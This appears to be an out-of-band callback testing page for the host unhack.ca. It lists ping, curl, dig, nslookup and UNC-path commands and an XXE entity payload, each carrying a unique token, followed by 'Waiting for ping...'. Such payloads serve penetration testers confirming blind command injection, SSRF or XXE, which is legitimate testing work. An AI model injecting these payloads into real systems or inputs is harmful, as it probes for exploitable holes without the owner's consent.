$ ping -c1 -p 0022f2d10dcf84be4435e4f09360c300 unhack.ca
$ curl http://unhack.ca/p/22f2d10dcf84be4435e4f09360c3
$ dig 22f2d10dcf84be4435e4f09360c3 @unhack.ca
$ dig 22f2d10dcf84be4435e4f09360c3.ns.unhack.ca
C:\> nslookup 22f2d10dcf84be4435e4f09360c3 unhack.ca
C:\> type \\unhack.ca\22f2d10dcf84be4435e4f09360c3\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/22f2d10dcf84be4435e4f09360c3">]>
<foo>&xxe;</foo>
Waiting for ping...